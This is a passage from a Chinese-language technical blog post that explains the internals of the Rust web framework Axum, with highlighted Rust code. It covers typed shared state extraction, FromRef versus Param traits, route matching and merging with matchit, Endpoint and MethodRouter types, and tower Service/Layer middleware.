class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">State</span>&lt;S&gt;(<span class="keyword">pub</span> S);</span><br></pre></td></tr></table></figure><p>之后为 State 实现 FromRequest 时，我们便知道，这个 S 一定是要从共享状态中提取的。</p><h2 id="共享状态存储"><a href="#共享状态存储" class="headerlink" title="共享状态存储"></a>共享状态存储</h2><p>顺着我们前面的思路，既然将共享状态视作 Request 的一部分，我们要么将 state 放入 Request 的某个地方，要么定义一个新的带有 state 的 Request 或通过新增参数传入。</p><h3 id="利用-Request-本身存储-State"><a href="#利用-Request-本身存储-State" class="headerlink" title="利用 Request 本身存储 State"></a>利用 Request 本身存储 State</h3><p>在 Actix 和之前版本的 Axum 中，状态存储都是采用这种方案。Request 内部有一个 type map 叫 extension，我们直接向其插入一个 KV：<code>key = S; val = S&#123;…&#125;</code> 即可。在我们提取时，使用 S 类型作为 key 即可查到我们在调用 handler 之前插入的这个 val。</p><p>看起来很方便且容易实现，但是这个方案放弃了静态检查类型的机会。如果用户 handler 参数中需要的 State 和 Route 上 attach 的 State 类型不一致的话，就只能在运行时处理了。这样会导致错误的代码可以编译通过，但运行时 100% 出错。</p><h3 id="通过新增参数传入并添加类型约束"><a href="#通过新增参数传入并添加类型约束" class="headerlink" title="通过新增参数传入并添加类型约束"></a>通过新增参数传入并添加类型约束</h3><p>利用 Rust 的类型系统，我们可以将前面提到的问题提前到编译期暴露。</p><p>我们可以在 Handler、 FromRequest 和 Route 上添加泛型 S，并在 <code>Route&lt;S&gt;</code> 添加路由时做限定：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request, state: S) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt;;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRequest</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Route</span>&lt;S&gt; &#123; ... &#125;</span><br><span class="line"><span class="keyword">impl</span>&lt;S&gt; Route&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new</span>(state: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span> &#123; ... &#125;</span><br><span class="line">    <span class="comment">// we can only add Handler&lt;S&gt; to our self, not Handler&lt;A&gt; or Handler&lt;B&gt;</span></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">route</span>&lt;H: Handler&lt;S&gt;&gt;(<span class="keyword">self</span>, hander: H) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span> &#123; ... &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, S, T1&gt; Handler&lt;S&gt; <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> Fut, Fut: Future&lt;Output = O&gt;,</span><br><span class="line">          O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request, state: S) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt; &#123;</span><br><span class="line">        <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(<span class="keyword">async</span> <span class="keyword">move</span> &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req, &amp;state) &#123;</span><br><span class="line">                <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">            &#125;;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">            resp</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样我们便能限制 handler fn 上的 State 类型。最后我们实现 State 辅助结构用于参数提取：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">State</span>&lt;S&gt;(<span class="keyword">pub</span> S);</span><br><span class="line"><span class="keyword">impl</span>&lt;S&gt; FromRequest&lt;S&gt; <span class="keyword">for</span> <span class="title class_">State</span>&lt;S&gt;</span><br><span class="line"><span class="keyword">where</span> S: <span class="built_in">Clone</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = Infallible;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123;</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(state.<span class="title function_ invoke__">clone</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大功告成！我们现在可以放心地使用共享状态而不用担心传错类型导致运行时出问题了。If it compiles, it works.</p><h2 id="更用户友好的共享状态"><a href="#更用户友好的共享状态" class="headerlink" title="更用户友好的共享状态"></a>更用户友好的共享状态</h2><p>和我们前面讲的从 Request 提取一样，用户可能仅仅需要 Request 或 State 中的一部分。为了让它更易用，我们可以允许用户仅接收 State 的一部分。例如：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">MyShared</span> &#123;</span><br><span class="line">    db: DBHandler,</span><br><span class="line">    cache: Cache,</span><br><span class="line">    counter: Counter,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">get_cache</span>(<span class="title function_ invoke__">State</span>(cache): State&lt;Cache&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">update_cache</span>(<span class="title function_ invoke__">State</span>(cache): State&lt;Cache&gt;, <span class="title function_ invoke__">State</span>(db): State&lt;DBHandler&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>类似 FromRequest，我们可以定义一个 Trait 允许从一个大结构衍生出子结构。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// in `from` style</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRef</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_ref</span>(input: &amp;T) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// in `into` style</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Param</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">param</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> T;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="FromRef-与-Param-两种风格对比"><a href="#FromRef-与-Param-两种风格对比" class="headerlink" title="FromRef 与 Param 两种风格对比"></a>FromRef 与 Param 两种风格对比</h3><p>类似 <code>From</code> 和 <code>Into</code> 的关系，我们可以提供这两种风格的 Trait。这两种是等价的，只需要选择一种使用即可。</p><p>Axum 内使用 <code>FromRef</code> 这种定义，而 linkerd2-proxy 中我们可以找到 <code>Param</code> 这种风格的定义。</p><p>这两种使用哪种比较好呢？标准库提倡定义 <code>From</code> 而不是 <code>Into</code>，但这并不意味者我们可以无脑认为 <code>FromRef</code> 这种形式更好。</p><p>标准库为 <code>From</code> 开了打破孤儿原则的后门，而框架定义的 <code>FromRef</code> 并没有。以下代码会导致违背孤儿原则而无法编译：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Example</span> &#123;</span><br><span class="line">    demo: <span class="type">String</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">FromRef</span>&lt;Example&gt; <span class="keyword">for</span> <span class="title class_">String</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>但是如果我们使用 Into 风格就是可行的：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Example</span> &#123;</span><br><span class="line">    demo: <span class="type">String</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Param</span>&lt;<span class="type">String</span>&gt; <span class="keyword">for</span> <span class="title class_">Example</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>我们选取 Into 风格的 Param Trait 来实现本小节的功能：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;S, I&gt; FromRequest&lt;S&gt; <span class="keyword">for</span> <span class="title class_">State</span>&lt;I&gt;</span><br><span class="line"><span class="keyword">where</span> S: Param&lt;I&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = Infallible;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123;</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(state.<span class="title function_ invoke__">param</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="路由"><a href="#路由" class="headerlink" title="路由"></a>路由</h1><p>路由是对 Handler 的组合与分发系统。</p><p>之前我们以一种最简单的路由引出了 Handler 概念，并介绍了 Handler Trait 约束并基于宏自动给用户定义的函数实现了 Handler。但距离真正易用的路由还有一段距离。</p><h2 id="路由查找与合并"><a href="#路由查找与合并" class="headerlink" title="路由查找与合并"></a>路由查找与合并</h2><p>对于路由查找我们可以使用现成的库 matchit。使用 matchit，它允许我们注册 Path 和 Value，当我们请求匹配某个路径时，将符合的 Path 对应的 Value 返回给我们。Matchit 基于 radix trie 实现，比起 HashMap 支持前缀匹配和参数提取（如 <code>/user/:id</code>）。</p><p>简单实现的话，直接包装 matchit 即可做到路径匹配，但 matchit 的缺点是不支持遍历拿到注册时传入的 Path 和 Value。所以为了支持更多的功能（如 merge），我们就需要自己也维护一份全量的映射关系。</p><p>在 Axum 中，Handler 被表示为 Endpoint 类型。Router 中维护了两个信息：</p><ol><li>RouteId → Endpoint</li><li>Node<ol><li>matchit <code>Router&lt;RouteId&gt;</code>: 用于路径匹配</li><li>RouteId → Path</li><li>Path → RouteId</li></ol></li></ol><p>当查找路径时，直接丢给 matchit Router 查到对应的 <code>RouteId</code>，之后使用 <code>RouteId</code> 查找到 Endpoint。</p><p>当合并路由时，假设我们要将 B 合并到 A，我们会遍历 B 里的路由信息，得到所有的 <code>(RouterId, Path, Endpoint)</code> tuple，之后尝试合并到 A 中同 Path 上（对于 Path 相同 Method 不同的），如果不存在再另外创建新的。</p><p>例如，<code>/login</code> 和 <code>/logout</code> 合并时，会向 matchit Router 中插入对应 Path 和 RouterId；而 <code>GET /login</code> 和 <code>POST /login</code> 合并时，就不需要修改 matchit Router，直接合并对应 Endpoint 即可。</p><h2 id="Endpoint"><a href="#Endpoint" class="headerlink" title="Endpoint"></a>Endpoint</h2><p>Axum 定义了 Endpoint 用于支持嵌套 Route 和根据 Method 分发。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> <span class="title class_">Endpoint</span>&lt;S, B&gt; &#123;</span><br><span class="line">    <span class="title function_ invoke__">MethodRouter</span>(MethodRouter&lt;S, B&gt;),</span><br><span class="line">    <span class="title function_ invoke__">Route</span>(Route&lt;B&gt;),</span><br><span class="line">    <span class="title function_ invoke__">NestedRouter</span>(BoxedIntoRoute&lt;S, B, Infallible&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/3f283515-08e7-4f61-8348-0d92e7bfdaaa/Untitled.png" alt="Untitled"></p><h3 id="Route"><a href="#Route" class="headerlink" title="Route"></a>Route</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Route</span>&lt;B = Body, E = Infallible&gt;(BoxCloneService&lt;Request&lt;B&gt;, Response, E&gt;);</span><br></pre></td></tr></table></figure><p>Route 是一个 <code>async fn (Request) → Result&lt;Response, Error&gt;</code>，它可以直接用来处理请求。当我们不需要根据 Method 做分发时，或者已经完成分发时，就可以直接将请求打到对应 Route 上处理。</p><h3 id="BoxedIntoRoute"><a href="#BoxedIntoRoute" class="headerlink" title="BoxedIntoRoute"></a>BoxedIntoRoute</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">BoxedIntoRoute</span>&lt;S, B, E&gt;(<span class="type">Box</span>&lt;<span class="keyword">dyn</span> ErasedIntoRoute&lt;S, B, E&gt;&gt;);</span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">trait</span> <span class="title class_">ErasedIntoRoute</span>&lt;S, B, E&gt;: <span class="built_in">Send</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">clone_box</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Box</span>&lt;<span class="keyword">dyn</span> ErasedIntoRoute&lt;S, B, E&gt;&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">into_route</span>(<span class="keyword">self</span>: <span class="type">Box</span>&lt;<span class="keyword">Self</span>&gt;, state: S) <span class="punctuation">-&gt;</span> Route&lt;B, E&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call_with_state</span>(<span class="keyword">self</span>: <span class="type">Box</span>&lt;<span class="keyword">Self</span>&gt;, request: Request&lt;B&gt;, state: S) <span class="punctuation">-&gt;</span> RouteFuture&lt;B, E&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>BoxedIntoRoute</code> 擦掉了 Handler 类型，所以我们在其泛型上找不到 Handler 相关的标记，或 Handler 的关联类型等。</p><p>其 State 是待填充的，我们可以将 <code>BoxedIntoRoute</code> 理解为一个没有附加 State 的 Route。当附加 State 后它会变成一个真正的 Route，就是名字里 Into Route 的含义。</p><h3 id="MethodRouter"><a href="#MethodRouter" class="headerlink" title="MethodRouter"></a>MethodRouter</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">MethodRouter</span>&lt;S = (), B = Body, E = Infallible&gt; &#123;</span><br><span class="line">    get: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    head: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    delete: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    options: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    patch: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    post: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    put: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    trace: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    fallback: Fallback&lt;S, B, E&gt;,</span><br><span class="line">    allow_header: AllowHeader,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">MethodEndpoint</span>&lt;S, B, E&gt; &#123;</span><br><span class="line">    <span class="literal">None</span>,</span><br><span class="line">    <span class="title function_ invoke__">Route</span>(Route&lt;B, E&gt;),</span><br><span class="line">    <span class="title function_ invoke__">BoxedHandler</span>(BoxedIntoRoute&lt;S, B, E&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>MethodRouter 内包含不同 Method 对应的 MethodEndpoint。MethodEndpoint 可能对应 None（该方法上没设置），也可能是先前提到的 Route 或 BoxedIntoRoute。</p><h2 id="路由组合"><a href="#路由组合" class="headerlink" title="路由组合"></a>路由组合</h2><p>我们以一个从 axum 中抄来的 example 看一下 Router 到底怎么创建的：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">let</span> <span class="variable">app</span> = Router::<span class="title function_ invoke__">new</span>()</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/keys&quot;</span>, <span class="title function_ invoke__">get</span>(list_keys))</span><br><span class="line">    .<span class="title function_ invoke__">nest</span>(<span class="string">&quot;/admin&quot;</span>, <span class="title function_ invoke__">admin_routes</span>())</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(Arc::<span class="title function_ invoke__">clone</span>(&amp;shared_state));</span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">list_keys</span>(<span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">admin_routes</span>() <span class="punctuation">-&gt;</span> Router&lt;SharedState&gt; &#123;</span><br><span class="line">    <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">delete_all_keys</span>(<span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) &#123; ... &#125;</span><br><span class="line">    <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">remove_key</span>(<span class="title function_ invoke__">Path</span>(key): Path&lt;<span class="type">String</span>&gt;, <span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line">    Router::<span class="title function_ invoke__">new</span>()</span><br><span class="line">        .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/keys&quot;</span>, <span class="title function_ invoke__">delete</span>(delete_all_keys))</span><br><span class="line">        .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/key/:key&quot;</span>, <span class="title function_ invoke__">delete</span>(remove_key))</span><br><span class="line">        .<span class="title function_ invoke__">layer</span>(RequireAuthorizationLayer::<span class="title function_ invoke__">bearer</span>(<span class="string">&quot;secret-token&quot;</span>))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li>首先是 <code>.route(&quot;/keys&quot;, get(list_keys))</code>，这里通过 get 将一个函数 Box 起来转为了 <code>MethodRouter&lt;S, B, Infallible&gt;</code>；之后通过 route 将其插入到 <code>Endpoint::MethodRouter</code> 。由于当前还没附加 State，所以其内部类型对应 <code>BoxedIntoRoute</code>，即缺少 State 的那个类型。</li><li>之后我们看 <code>.with_state(Arc::clone(&amp;shared_state))</code>：</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">with_state</span>&lt;S2&gt;(<span class="keyword">self</span>, state: S) <span class="punctuation">-&gt;</span> Router&lt;S2, B&gt; &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>这里会附加 S 类型的 state 并重写泛型为新的类型 S2（S2 此时没有任何约束）。</p><p><code>with_state</code> 内部会对所有 <code>BoxedIntoRoute</code> 附加 State 将其变为 <code>Route</code> 类型。</p><ol><li><code>.nest</code> 会接收一个 prefix 和子路由。这时只需要将子路由作为 NestedRouter 插入即可。需要注意的是这里在丢给子路由之前，还需要额外去掉 prefix。</li></ol><h1 id="中间件"><a href="#中间件" class="headerlink" title="中间件"></a>中间件</h1><h2 id="Tower-Service"><a href="#Tower-Service" class="headerlink" title="Tower Service"></a>Tower Service</h2><p>Tower 是 Rust 生态中的一个通用逻辑描述组件。Tower 提供一个 Service Trait 描述一个输入 Request 输出 <code>Result&lt;Response, Error&gt;</code> 的异步逻辑。只要是一个输入对应一个响应的逻辑基本都可以用这个 Trait 描述。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Service</span>&lt;Request&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Response</span>;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Future</span>: Future&lt;Output = <span class="type">Result</span>&lt;<span class="keyword">Self</span>::Response, <span class="keyword">Self</span>::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_ready</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), <span class="keyword">Self</span>::Error&gt;&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, req: Request) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Future;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Service 不只能帮助不同组件之间的接口对齐，我们还可以利用 tower 的一些辅助组件来做逻辑的组合。Tower 提供了 Layer 用于对 Service 做修饰，还提供了 Stack 用于 Layer 之间的嵌套。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Layer</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Service</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">layer</span>(&amp;<span class="keyword">self</span>, inner: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Service;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Stack</span>&lt;Inner, Outer&gt; &#123;</span><br><span class="line">    inner: Inner,</span><br><span class="line">    outer: Outer,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;S, Inner, Outer&gt; Layer&lt;S&gt; <span class="keyword">for</span> <span class="title class_">Stack</span>&lt;Inner, Outer&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    Inner: Layer&lt;S&gt;,</span><br><span class="line">    Outer: Layer&lt;Inner::Service&gt;,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Service</span> = Outer::Service;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">layer</span>(&amp;<span class="keyword">self</span>, service: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Service &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">inner</span> = <span class="keyword">self</span>.inner.<span class="title function_ invoke__">layer</span>(service);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">self</span>.outer.<span class="title function_ invoke__">layer</span>(inner)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单总结一下就是：</p><ol><li>Service 描述了 <code>async fn (Request) → Result&lt;Response, Error&gt;</code> 的通用逻辑。</li><li>Layer 是 Service 的修饰器，传入一个 Service 可以返回一个修饰后的 Service。</li><li>Stack 是 Layer 的组合，其本身也实现了 Layer，在 <code>.layer</code> 时会依次调用内部的所有 layer。</li></ol><p>由于我们采用了 Service 中间件，并且 <code>Route</code> 本身实现了 Service，所以我们接收 layer 即可包装 <code>Route</code>。</p><p>对于当前还缺少 State 的 <code>BoxedIntoRoute</code>，我们先将 layer 暂存起来，等待填充 State 后再 layer 包装。</p><h1 id="Server-创建及使用"><a href="#Server-创建及使用" class="headerlink" title="Server 创建及使用"></a>Server 创建及使用</h1><p>我们将前面提到的路由、Handler 和 中间件组合到一起，就构成一个 Server，Server 允许用户 bind 并 serve MakeService：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><p><code>IntoMakeService&lt;S&gt;</code> 实现了 <code>Service&lt;T, Response = S, Error = Infallible&gt;</code>。</p><p><code>Server::bind(…).serve(…)</code> 会创建出来一个 Server；Server 实现了 Future，所以可以直接 await。在其 Future 实现中，会首先 accept 连接并利用 <code>IntoMakeService&lt;S&gt;</code> 生成 S，即用于处理请求的 Service（就是我们的 router）。</p><p>之后 io(连接)会和处理 Service 一起包装在一个 <code>hyper::Connecting</code> 结构中，构造 <code>hyper::NewSvcTask</code> 并将这个 task spawn 